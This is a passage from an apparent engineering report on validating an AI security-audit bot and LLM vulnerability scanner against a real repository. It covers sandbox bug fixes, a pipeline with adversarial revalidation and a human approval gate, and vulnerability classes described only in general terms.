detect_tech(firstclawnode) both runs. But each failure root-caused a real sandbox/claw bug:backendIsClawmissed env-templated backends (FIXEDf247f360). Seki's nodes usebackend: "${ITERION_SEC_AUDIT_BACKEND:-claw}"; the IR stores it verbatim, socontainsClawNoderead it as non-claw at spec-build time andaddClawBinaryMountnever bind-mounted the host iterion → the in-containeriterion __claw-runnerdied withexec: "iterion": executable file not found in $PATH. Fix: expand the template inbackendIsClawlike the executor does (ir.ExpandEnvWithDefault). Regression test added. This also unblocks Depsy (sec-audit-deps), which uses the same pattern.- The host iterion bind-mounted into the container must be STATIC. Once #1 mounted it, the next failure was
exec: /usr/local/bin/iterion: no such file or directory— the mounted binary was a devboxgo build(defaultCGO_ENABLED=1) dynamically linked against nix glibc, whose loader isn't in the container. Fix is operational: install a static build (CGO_ENABLED=0/task build); CLAUDE.md's live-dogfood note now spells this out. (Candidate engine hardening:iterion sandbox doctor/ the mount path could detect a dynamic host binary and fail with a clear message instead of a retry-then-cryptic-ENOENT; or the sec/full images could bake a static iterion on PATH.)
- Lessons for next run: after the operator re-copies the static binary to
/usr/bin/iterion, re-launch;detect_techshould clear and the run proceed to the scanners +scan_healthgate. Then validate it re-finds the known HIGH findings. The SAST capability itself is unproven on iterion yet — only the sandbox plumbing was exercised.
Status: validated end-to-end (2026-06). Scope of this report: the capability and the engineering hardening only — it carries no information about the audited codebase (a third-party repository; all target details are deliberately omitted or generalized).
Summary
Seki (the sec-audit-source bot) with the integrated deepsec scanner and the in-run remediation phase was exercised against a real-world repository. It demonstrably:
- finds subtle, high-value vulnerabilities that signature-based scanners miss (deepsec's LLM analysis vs the regex/AST scanners);
- authors complete, root-cause, test-backed fixes — including a hard design-level one it had earlier had the discipline to decline;
- drives the full pipeline detect → context → scan → triage → adversarial N-vote → verified-remediation ladder → human approval gate.
The exercise also hardened the pipeline: six runtime bugs were found and fixed while driving real runs.
What was validated
- The integrated pipeline:
detect_tech → project_context → scanners (generic + language + deepsec) → triage/dedup → N-voter "disprove" revalidation → report_card → remediation ladder (patch → build → reproduce → regress → re-attack → isolated review → aggregate) → human gate. - deepsec as an LLM scanner alongside the deterministic scanners, on the local Claude Code subscription backend (no API key).
- apply-gated remediation: edits applied in a worktree, paused at a human gate before anything merges.
Method
A single end-to-end run against a large real-world repository — a compiled backend plus a JS/TS frontend, thousands of tracked files, with authentication, cryptography, and a database. Backend = local Claude Code subscription. (No further target detail is recorded here by design.)
Results
deepsec finds what signature scanners miss
deepsec surfaced around a dozen findings, including logic/auth issues invisible to the deterministic scanners (which contributed container/config and standard-rule matches). Representative classes (generalized):
- an authentication-relay CSRF (account-takeover class): a sensitive login step completed with no binding to the browser that initiated it, so a relayed out-of-band confirmation could authenticate a session it never started;
- a key-management fail-open: a development key path reachable outside production;
- a session-cookie integrity gap;
- container / supply-chain hardening: runtime running as root, mutable base-image tags (no digest pinning);
- a nil-dereference DoS in an unrecovered worker goroutine.
The signature scanners found none of the first three.
Seki authors complete, root-cause, tested fixes — including the hard one
The headline result is on the authentication-relay CSRF — a design-level fix spanning several files. In an earlier run Seki correctly declined to patch it with a minimal one-file diff, explicitly refusing to ship a backend-only change that would build and test green while leaving the flaw exploitable ("security-theatre the ladder cannot detect") and routing it to human review.
Once the pipeline could carry it (see hardening below), Seki's remediation authored the full root-cause fix:
- a server-derived, origin-bound confirmation token (an HMAC over the challenge identifier and the browser-binding nonce) that gates the sensitive completion step — so a relayed confirmation can no longer authenticate a session it did not initiate;
- a failing-then-passing regression test.
A genuine multi-file, cross-stack security fix with a test — not a line-level patch. This is the core demonstration: the tool finds a hard, subtle flaw and remediates it at the root, or defers it cleanly when it cannot do so properly.
Pipeline discipline (precision + safety)
- Adversarial N-vote: the "disprove" revalidation rejected the large majority of raw scanner candidates; only a minority were confirmed. High precision against scanner noise.
- Hard-stops: crypto/secrets findings are never auto-patched — routed to human review by design.
- Reviewer isolation: the final reviewer judge sees only a four-field projection
{file, line, category, diff}— never the scanner prose or exploit narrative — a deliberate prompt-injection barrier. - Human gate: the run pauses before any merge; nothing lands unattended.
Engineering hardening (bugs found + fixed)
Driving real runs surfaced and fixed six runtime issues (all merged to main):
| Area | Issue | Fix |
|---|---|---|
| Remediation loop | the per-run "attempted" ledger, relayed through a compute and rendered as Go %v, was rejected by the JSON parser → the loop re-picked the same finding forever | parse the ledger leniently; then carry it as a comma-separated string (a multi-element %v with spaces also broke the tool's shell, exit 127) — shell-safe and parse-safe |
| deepsec resilience | the deepsec step lost its entire contribution on a transient blip, and hung indefinitely on a mid-run network loss (its SDK does not self-recover) | retry the process once + bound it with a timeout so a hang is killed and auto-retried |
| Budget | a hardcoded duration/iteration budget capped audit+remediation on a large repo | env-configurable, raised defaults |
| Project toolchain | build/test rungs run in the project's own pinned toolchain (devbox); the persistent Nix store is default-on so they run warm | sandbox driver + bot rungs |
| Skill resolution | remediation prompts pointed at a skill path not reliably present in the worktree | point at the always-mounted run bundle |
Known remaining work (verdict quality)
Reaching the gate surfaced a remaining tail that currently keeps confirmed findings at uncertain (proposed) rather than verified (auto-committed). None of these block the pipeline — it reaches the human gate — but they gate the verified-auto-apply outcome:
- the reviewer-isolation projection compute does not substitute its inputs (nested output access in a
computeexpr), so the reviewer receives placeholders and fail-closes; - the reproduce rung occasionally still fires after a valid fix (calibration);
- the gate summary under-counts the proposed artifacts.
Scoped as the next focused task — verdict-quality polish, not capability.
Conclusion
Seki + deepsec is validated: it finds relevant, subtle vulnerabilities that signature scanners miss, and it authors complete, tested, root-cause fixes — including a design-level fix it deferred until it could do it properly — while running the whole pipeline to a human approval gate with adversarial revalidation, hard-stops, and reviewer isolation. The open items are verdict-quality polish.
